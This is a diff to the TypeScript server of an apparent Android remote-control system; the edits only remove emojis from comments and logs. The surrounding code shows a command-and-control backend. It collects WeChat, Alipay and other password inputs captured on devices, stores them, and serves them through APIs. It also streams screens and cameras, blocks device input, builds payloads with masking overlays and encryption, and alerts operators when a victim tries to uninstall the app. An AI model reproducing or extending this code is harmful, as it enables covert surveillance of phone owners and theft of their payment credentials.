45000, // 45秒 - 升级超时 connectTimeout: 60000, // 60秒 - 连接超时 - // 🔧 连接管理优化 + // 连接管理优化 maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据 allowEIO3: true, // 允许Engine.IO v3兼容性 - // ✅ 服务器端优化 + // 服务器端优化 serveClient: false, // 禁用客户端服务,减少不必要的连接 destroyUpgrade: false, // 不销毁升级连接 destroyUpgradeTimeout: 1000, // 升级销毁超时1秒 cookie: false, // 禁用cookie,减少连接复杂性 - // 🔧 新增:解决transport error的关键配置 + // 新增:解决transport error的关键配置 perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟 httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销 allowRequest: (req, callback) => { @@ -110,7 +110,7 @@ class RemoteControlServer { } }) - // ✅ 清理所有旧的客户端和设备记录(服务器重启时) + // 清理所有旧的客户端和设备记录(服务器重启时) this.webClientManager.clearAllClients() this.deviceManager.clearAllDevices() @@ -118,10 +118,10 @@ class RemoteControlServer { this.setupRoutes() this.setupSocketHandlers() - // ✅ 启动状态一致性检查定时器 + // 启动状态一致性检查定时器 this.startConsistencyChecker() - // 🆕 启动设备信息同步服务 + // 启动设备信息同步服务 this.deviceInfoSyncService.start() } @@ -203,7 +203,7 @@ class RemoteControlServer { return } - // 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制) + // 检查是否已有活跃的Web客户端在线(超级管理员不受此限制) const activeWebClients = this.getActiveWebClients() const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin') @@ -329,7 +329,7 @@ class RemoteControlServer { } }) - // // 🆕 设备信息同步相关 API + // // 设备信息同步相关 API // this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => { // try { // const status = this.deviceInfoSyncService.getStatus() @@ -381,7 +381,7 @@ class RemoteControlServer { // API路由 (需要认证) this.app.get('/api/devices', this.authMiddleware, (req, res) => { - // ✅ 使用完整的设备列表(包含历史设备和正确状态) + // 使用完整的设备列表(包含历史设备和正确状态) res.json(this.getAllDevicesIncludingHistory()) }) @@ -394,13 +394,13 @@ class RemoteControlServer { } }) - // 🆕 设备备注相关API + // 设备备注相关API this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params const { remark } = req.body - this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`) + this.logger.info(` 更新设备备注: ${deviceId} -> ${remark}`) // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId) @@ -450,7 +450,7 @@ class RemoteControlServer { try { const { deviceId } = req.params - this.logger.info(`📝 获取设备备注: ${deviceId}`) + this.logger.info(` 获取设备备注: ${deviceId}`) // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId) @@ -483,14 +483,14 @@ class RemoteControlServer { } }) - // 🆕 查询设备是否被其他web客户端控制 + // 查询设备是否被其他web客户端控制 this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => { try { const { deviceId } = req.params const currentUserId = req.user?.id const currentUsername = req.user?.username - this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`) + this.logger.info(` 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`) // 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId) @@ -563,13 +563,13 @@ class RemoteControlServer { }) - // 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询 + // 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询 this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params const { page = 1, pageSize = 50, passwordType } = req.query - this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + this.logger.info(` 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) let result: any @@ -657,7 +657,7 @@ class RemoteControlServer { const { deviceId } = req.params const { passwordType } = req.query - this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`) + this.logger.info(` 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`) let latestPassword: any = null @@ -732,7 +732,7 @@ class RemoteControlServer { try { const { deviceId } = req.params - this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`) + this.logger.info(` 获取设备 ${deviceId} 的密码类型统计`) // 获取通用密码输入统计 const generalStats = this.databaseService.getPasswordTypeStats(deviceId) @@ -781,7 +781,7 @@ class RemoteControlServer { const { deviceId } = req.params const { passwordType } = req.query - this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + this.logger.info(` 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) // 根据密码类型选择删除方法 if (passwordType === 'ALIPAY_PASSWORD') { @@ -810,7 +810,7 @@ class RemoteControlServer { } }) - // 💥 崩溃日志相关API (需要认证) + // 崩溃日志相关API (需要认证) this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => { try { const { deviceId } = req.params @@ -869,7 +869,7 @@ class RemoteControlServer { // 获取服务器地址,如果没有提供则使用当前请求的地址 const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}` - // ✅ 获取配置选项 + // 获取配置选项 const options = { enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true, // enableConfigMask: true, @@ -877,7 +877,7 @@ class RemoteControlServer { configMaskText: req.body.configMaskText, configMaskSubtitle: req.body.configMaskSubtitle, configMaskStatus: req.body.configMaskStatus, - // 🔧 修复:添加加密相关参数 + // 修复:添加加密相关参数 enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true, encryptionLevel: req.body.encryptionLevel, webUrl: req.body.webUrl, @@ -896,7 +896,7 @@ class RemoteControlServer { } } - // 🔧 添加调试日志:显示接收到的原始参数 + // 添加调试日志:显示接收到的原始参数 this.logger.info('[DEBUG] 接收到的原始请求参数:') this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption) this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel) @@ -1106,7 +1106,7 @@ class RemoteControlServer { * 设置Socket.IO事件处理 */ /** - * 🔧 将设备注册请求加入队列处理,防止并发冲突 + * 将设备注册请求加入队列处理,防止并发冲突 */ private queueDeviceRegistration(socket: any, data: any): void { const timestamp = Date.now() @@ -1119,7 +1119,7 @@ class RemoteControlServer { } /** - * 🔧 处理设备注册队列 + * 处理设备注册队列 */ private async processRegistrationQueue(): Promise { // 如果正在处理或队列为空,直接返回 @@ -1158,7 +1158,7 @@ class RemoteControlServer { } try { - this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`) + this.logger.info(` 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`) this.handleDeviceRegister(socket, data) this.lastRegistrationTime = Date.now() } catch (error) { @@ -1202,7 +1202,7 @@ class RemoteControlServer { } }, REGISTRATION_CHECK_DELAY_MS) - // 🔧 设备注册 - 使用队列处理 + // 设备注册 - 使用队列处理 socket.on('device_register', (data: any) => { this.queueDeviceRegistration(socket, data) }) @@ -1231,7 +1231,7 @@ class RemoteControlServer { // 处理屏幕数据 socket.on('screen_data', (data: any) => { - // 📊 记录帧统计用于自适应画质 + // 记录帧统计用于自适应画质 if (data?.deviceId) { const dataSize = typeof data.data === 'string' ? data.data.length : 0 this.adaptiveQualityService.recordFrame(data.deviceId, dataSize) @@ -1239,33 +1239,33 @@ class RemoteControlServer { this.messageRouter.routeScreenData(socket.id, data) }) - // 💬 微信密码监听器 + // 微信密码监听器 socket.on('wechat_password', (data: any) => { - this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(` 收到微信密码记录: Socket: ${socket.id}`); + this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由微信密码数据 const routeResult = this.messageRouter.routeWechatPassword(socket.id, data); - this.logger.info(`📤 微信密码路由结果: ${routeResult}`); + this.logger.info(` 微信密码路由结果: ${routeResult}`); }); - // 🔐 通用密码输入监听器 + // 通用密码输入监听器 socket.on('password_input', (data: any) => { - this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(` 收到通用密码输入记录: Socket: ${socket.id}`); + this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由通用密码输入数据 const routeResult = this.messageRouter.routePasswordInput(socket.id, data); - this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`); + this.logger.info(` 通用密码输入路由结果: ${routeResult}`); }); socket.on('alipay_password', (data: any) => { - this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`); - this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + this.logger.info(` 收到支付宝密码记录: Socket: ${socket.id}`); + this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); // 路由支付宝密码数据 const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data); - this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`); + this.logger.info(` 支付宝密码路由结果: ${routeResult}`); }); // 处理摄像头数据 @@ -1308,9 +1308,9 @@ class RemoteControlServer { this.messageRouter.handleOperationLog(socket.id, data) }) - // 💥 处理崩溃日志(从设备接收) + // 处理崩溃日志(从设备接收) socket.on('crash_log', (data: any) => { - this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) + this.logger.warn(` 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) try { if (data?.deviceId && data?.content) { this.databaseService.saveCrashLog({ @@ -1332,14 +1332,14 @@ class RemoteControlServer { timestamp: Date.now() }) } else { - this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(` 崩溃日志数据不完整: ${JSON.stringify(data)}`) } } catch (error) { this.logger.error('处理崩溃日志失败:', error) } }) - // 📊 自适应画质:Web端质量反馈 + // 自适应画质:Web端质量反馈 socket.on('quality_feedback', (data: any) => { if (!data?.deviceId) return const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, { @@ -1359,7 +1359,7 @@ class RemoteControlServer { maxWidth: result.newParams.maxWidth, maxHeight: result.newParams.maxHeight, }) - this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`) + this.logger.info(` 自动调整设备${data.deviceId}画质参数`) } } // 通知Web端参数已变更 @@ -1371,7 +1371,7 @@ class RemoteControlServer { } }) - // 📊 自适应画质:Web端手动切换质量档位 + // 自适应画质:Web端手动切换质量档位 socket.on('set_quality_profile', (data: any) => { if (!data?.deviceId || !data?.profile) return const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile) @@ -1392,7 +1392,7 @@ class RemoteControlServer { } }) - // 📊 自适应画质:Web端手动设置自定义参数 + // 自适应画质:Web端手动设置自定义参数 socket.on('set_quality_params', (data: any) => { if (!data?.deviceId) return const result = this.adaptiveQualityService.setCustomParams(data.deviceId, { @@ -1415,31 +1415,31 @@ class RemoteControlServer { }) }) - // 📊 获取画质档位列表 + // 获取画质档位列表 socket.on('get_quality_profiles', (callback: any) => { if (typeof callback === 'function') { callback(this.adaptiveQualityService.getProfiles()) } }) - // 🆕 处理设备输入阻塞状态变更(从设备接收) + // 处理设备输入阻塞状态变更(从设备接收) socket.on('device_input_blocked_changed', (data: any) => { - this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`) - this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`) + this.logger.info(` 收到设备输入阻塞状态变更: Socket: ${socket.id}`) + this.logger.info(` 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`) // 直接调用MessageRouter的处理方法 if (data?.deviceId && data?.blocked !== undefined) { this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked) - this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`) + this.logger.info(` 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`) } else { - this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(` 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`) } }) - // 🛡️ 处理卸载尝试检测(从设备接收) + // 处理卸载尝试检测(从设备接收) socket.on('uninstall_attempt_detected', (data: any) => { - this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`) - this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`) + this.logger.warn(` 收到卸载尝试检测: Socket: ${socket.id}`) + this.logger.warn(` 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`) if (data?.deviceId && data?.type) { // 广播卸载尝试检测事件到所有Web客户端 @@ -1450,9 +1450,9 @@ class RemoteControlServer { timestamp: data.timestamp || Date.now() }) - this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`) + this.logger.warn(` 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`) } else { - this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`) + this.logger.warn(` 卸载尝试检测数据不完整: ${JSON.stringify(data)}`) } }) @@ -1461,17 +1461,17 @@ class RemoteControlServer { this.handleDisconnect(socket) }) - // 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题 + // 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题 socket.on('CONNECTION_TEST', (data: any) => { - this.logger.info(`💓 收到设备心跳检测: ${socket.id}`) - this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`) + this.logger.info(` 收到设备心跳检测: ${socket.id}`) + this.logger.debug(` 收到设备心跳检测: ${socket.id}`) try { - // 🔧 关键修复:心跳时也要更新设备活跃时间 + // 关键修复:心跳时也要更新设备活跃时间 if (socket.deviceId) { const device = this.deviceManager.getDevice(socket.deviceId) if (device) { device.lastSeen = new Date() - this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`) + this.logger.debug(` 心跳更新设备活跃时间: ${socket.deviceId}`) } } @@ -1480,9 +1480,9 @@ class RemoteControlServer { timestamp: Date.now(), receivedData: data }) - this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`) + this.logger.debug(` 已回复CONNECTION_TEST确认消息到 ${socket.id}`) } catch (error) { - this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error) + this.logger.error(` 回复CONNECTION_TEST失败:`, error) } }) @@ -1493,7 +1493,7 @@ class RemoteControlServer { // 处理自定义心跳 socket.on('heartbeat', (data: any) => { - this.logger.debug(`💓 收到心跳: ${socket.id}`) + this.logger.debug(` 收到心跳: ${socket.id}`) socket.emit('heartbeat_ack', { timestamp: Date.now() }) }) @@ -1514,7 +1514,7 @@ class RemoteControlServer { const deviceId = data.deviceId || uuidv4() - // 🔧 改进重连检测:检查是否是同一设备的不同Socket连接 + // 改进重连检测:检查是否是同一设备的不同Socket连接 const existingDevice = this.deviceManager.getDevice(deviceId) if (existingDevice) { if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') { @@ -1525,10 +1525,10 @@ class RemoteControlServer { message: '设备已注册(跳过重复注册)' }) - // ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态 + // 修复:即使跳过重复注册,也要确保Web端收到设备在线状态 const connectedClients = this.webClientManager.getClientCount() if (connectedClients > 0) { - this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`) + this.logger.info(` 重复注册检测时确保广播设备在线状态: ${deviceId}`) this.webClientManager.broadcastToAll('device_connected', existingDevice) // 同时广播设备状态更新 @@ -1544,20 +1544,20 @@ class RemoteControlServer { } return } else if (existingDevice.socketId !== socket.id) { - // ✅ 同一设备但不同Socket(重连场景),更新Socket映射 + // 同一设备但不同Socket(重连场景),更新Socket映射 this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`) // 移除旧的Socket映射,继续正常注册流程 this.deviceManager.removeDevice(deviceId) this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId) } else { - // ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步 + // 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步 this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`) this.deviceManager.removeDevice(deviceId) } } - // 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息 + // 修复备注丢失问题:设备重新连接时从数据库恢复备注信息 const existingDbDevice = this.databaseService.getDeviceById(deviceId) const deviceInfo = { @@ -1577,9 +1577,9 @@ class RemoteControlServer { status: 'online' as const, inputBlocked: data.inputBlocked || false, isLocked: data.isLocked || false, // 初始化锁屏状态 - remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注 + remark: existingDbDevice?.remark || data.remark || null, // 优先使用数据库中的备注 publicIP: data.publicIP || null, - // 🆕 添加系统版本信息字段 + // 添加系统版本信息字段 systemVersionName: data.systemVersionName || null, romType: data.romType || null, romVersion: data.romVersion || null, @@ -1605,21 +1605,21 @@ class RemoteControlServer { message: '设备注册成功' }) - this.logger.info(`✅ 设备注册成功,已通知设备`) + this.logger.info(` 设备注册成功,已通知设备`) // 通知所有Web客户端有新设备连接 const connectedClients = this.webClientManager.getClientCount() if (connectedClients > 0) { - this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`) + this.logger.info(` 通知 ${connectedClients} 个Web客户端有新设备连接`) this.webClientManager.broadcastToAll('device_connected', deviceInfo) } else { - this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`) + this.logger.info(` 暂无Web客户端连接,跳过设备连接通知`) } - // ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态 + // 优化:设备重新连接时,Android端本身已经维护着真实状态 // 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可 try { - this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`) + this.logger.info(` 记录设备状态: ${deviceInfo.id}`) const deviceState = this.databaseService.getDeviceState(deviceInfo.id) if (deviceState) { @@ -1628,11 +1628,11 @@ class RemoteControlServer { deviceInfo.inputBlocked = deviceState.inputBlocked } - this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) + this.logger.info(` 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) - // ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态 + // 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态 if (connectedClients > 0) { - this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`) + this.logger.info(` 广播设备状态更新: ${deviceInfo.id}`) this.webClientManager.broadcastToAll('device_status_update', { deviceId: deviceInfo.id, status: { @@ -1650,19 +1650,19 @@ class RemoteControlServer { this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error) } - // ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题 + // 修复:延迟再次确认设备在线状态,解决可能的时序问题 setTimeout(() => { const finalConnectedClients = this.webClientManager.getClientCount() if (finalConnectedClients > 0) { const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id) if (finalDeviceInfo) { - this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`) + this.logger.info(` 最终确认设备在线状态: ${deviceInfo.id}`) this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo) } } }, 1000) // 1秒后再次确认 - this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`) + this.logger.info(` 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`) this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`) } catch (error) { @@ -1681,7 +1681,7 @@ class RemoteControlServer { // Web client auth: check token const token = socket.handshake.auth?.token if (!token) { - this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`) + this.logger.warn(` Web客户端注册缺少认证token: ${socket.id}`) socket.emit('auth_error', { message: '缺少认证token' }) socket.disconnect() return @@ -1690,7 +1690,7 @@ class RemoteControlServer { // 验证token const authResult = this.authService.verifyToken(token) if (!authResult.valid) { - this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`) + this.logger.warn(` Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`) socket.emit('auth_error', { message: authResult.error || '认证失败' }) socket.disconnect() return @@ -1699,22 +1699,22 @@ class RemoteControlServer { // 认证成功,记录用户信息 socket.userId = authResult.user?.id socket.username = authResult.user?.username - this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`) + this.logger.info(` Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`) - // 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端 + // 修复重复注册问题:检查是否已有相同Socket ID的客户端 const existingClient = this.webClientManager.getClientBySocketId(socket.id) if (existingClient) { - this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`) + this.logger.warn(` Socket ${socket.id} 已有注册记录,更新现有客户端信息`) // 更新现有客户端的活动时间和用户代理 existingClient.lastSeen = new Date() existingClient.userAgent = data.userAgent || existingClient.userAgent - existingClient.userId = authResult.user?.id // 🔐 更新用户ID - existingClient.username = authResult.user?.username // 🔐 更新用户名 + existingClient.userId = authResult.user?.id // 更新用户ID + existingClient.username = authResult.user?.username // 更新用户名 socket.clientId = existingClient.id socket.clientType = 'web' - // 🔐 恢复用户的设备权限 + // 恢复用户的设备权限 if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id) } @@ -1726,7 +1726,7 @@ class RemoteControlServer { devices: allDevices }) - this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`) + this.logger.info(` Web客户端重连成功: ${existingClient.id}`) return } @@ -1737,15 +1737,15 @@ class RemoteControlServer { ip: socket.handshake.address, connectedAt: new Date(), lastSeen: new Date(), - userId: authResult.user?.id, // 🔐 添加用户ID - username: authResult.user?.username // 🔐 添加用户名 + userId: authResult.user?.id, // 添加用户ID + username: authResult.user?.username // 添加用户名 } this.webClientManager.addClient(clientInfo) socket.clientId = clientInfo.id socket.clientType = 'web' - // 🔐 恢复用户的设备权限 + // 恢复用户的设备权限 if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id) } @@ -1757,8 +1757,8 @@ class RemoteControlServer { devices: allDevices }) - this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`) - this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`) + this.logger.info(` Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`) + this.logger.info(` 当前Web客户端数量: ${this.webClientManager.getClientCount()}`) } catch (error) { this.logger.error('Web客户端注册失败:', error) @@ -1822,7 +1822,7 @@ class RemoteControlServer { */ private getAllDevicesIncludingHistory(): any[] { try { - // ✅ 直接从数据库获取设备,状态已经正确存储 + // 直接从数据库获取设备,状态已经正确存储 const allDbDevices = this.databaseService.getAllDevices() // 获取内存中的在线设备,用于补充Socket ID @@ -1850,11 +1850,11 @@ class RemoteControlServer { capabilities: dbDevice.capabilities, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, - // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 + // 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false, publicIP: dbDevice.publicIP, - // 🆕 添加系统版本信息字段 + // 添加系统版本信息字段 systemVersionName: dbDevice.systemVersionName, romType: dbDevice.romType, romVersion: dbDevice.romVersion, @@ -1862,7 +1862,7 @@ class RemoteControlServer { } }) - this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`) + this.logger.info(` 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`) return devices } catch (error) { @@ -1873,7 +1873,7 @@ class RemoteControlServer { } /** - * 🆕 获取活跃的Web客户端列表 + * 获取活跃的Web客户端列表 */ private getActiveWebClients(): any[] { try { @@ -1883,7 +1883,7 @@ class RemoteControlServer { return socket && socket.connected }) - this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`) + this.logger.debug(` 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`) return activeClients.map(client => ({ id: client.id, @@ -1909,32 +1909,32 @@ class RemoteControlServer { } /** - * ✅ 服务器启动时恢复设备状态 + * 服务器启动时恢复设备状态 */ private recoverDeviceStates(): void { setTimeout(() => { - this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄') + this.logger.info(' 开始恢复设备状态... ') - // ✅ 首先将数据库中所有设备状态重置为离线 + // 首先将数据库中所有设备状态重置为离线 this.databaseService.resetAllDevicesToOffline() // 获取所有已连接的Socket const connectedSockets = Array.from(this.io.sockets.sockets.values()) - this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`) + this.logger.info(` 发现已连接的Socket数量: ${connectedSockets.length}`) if (connectedSockets.length === 0) { - this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...') + this.logger.info(' 没有发现已连接的Socket,等待设备主动连接...') return } // 向所有Socket发送ping,要求重新注册 connectedSockets.forEach((socket, index) => { try { - this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`) + this.logger.info(` [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`) // 检查Socket是否仍然连接 if (!socket.connected) { - this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`) + this.logger.warn(` Socket ${socket.id} 已断开,跳过`) return } @@ -1943,24 +1943,24 @@ class RemoteControlServer { message: '服务器已重启,请重新注册', timestamp: new Date().toISOString() }) - this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`) + this.logger.info(` server_restarted 事件已发送到 ${socket.id}`) // 同时发送通用ping socket.emit('ping_for_registration', { requireReregistration: true, serverRestartTime: new Date().toISOString() }) - this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`) + this.logger.info(` ping_for_registration 事件已发送到 ${socket.id}`) } catch (error) { - this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error) + this.logger.error(` 发送重新注册请求失败 (Socket: ${socket.id}):`, error) } }) // 5秒后检查恢复结果 setTimeout(() => { const recoveredDevices = this.deviceManager.getDeviceCount() - this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`) + this.logger.info(` 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`) if (recoveredDevices > 0) { // 广播设备列表更新 @@ -1969,7 +1969,7 @@ class RemoteControlServer { devices: this.deviceManager.getAllDevices() }) } else { - this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用') + this.logger.warn(' 没有设备恢复连接,可能需要手动重启设备应用') } }, 5000) @@ -1977,24 +1977,24 @@ class RemoteControlServer { } /** - * ✅ 启动状态一致性检查定时器 + * 启动状态一致性检查定时器 */ private startConsistencyChecker(): void { - // 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突 + // 优化:平衡检查频率,快速发现断开同时避免心跳冲突 setInterval(() => { this.checkAndFixInconsistentStates() }, 60000) // 改为每1分钟检查一次,平衡检测速度和稳定性 - // ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步 + // 新增:每10秒刷新一次设备状态给Web端,确保状态同步 setInterval(() => { this.refreshDeviceStatusToWebClients() }, 10000) // 每10秒刷新一次 - this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试') + this.logger.info(' 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试') } /** - * ✅ 检查和修复不一致状态 - 增强版,减少误判 + * 检查和修复不一致状态 - 增强版,减少误判 */ private checkAndFixInconsistentStates(): void { try { @@ -2042,7 +2042,7 @@ class RemoteControlServer { } /** - * 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判 + * 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判 * * 优化策略: * 1. Socket不存在时立即清理(真正断开) @@ -2114,7 +2114,7 @@ class RemoteControlServer { } /** - * 🆕 主动测试设备连接 + * 主动测试设备连接 */ private testDeviceConnection(deviceId: string, socketId: string, device: any): void { const socket 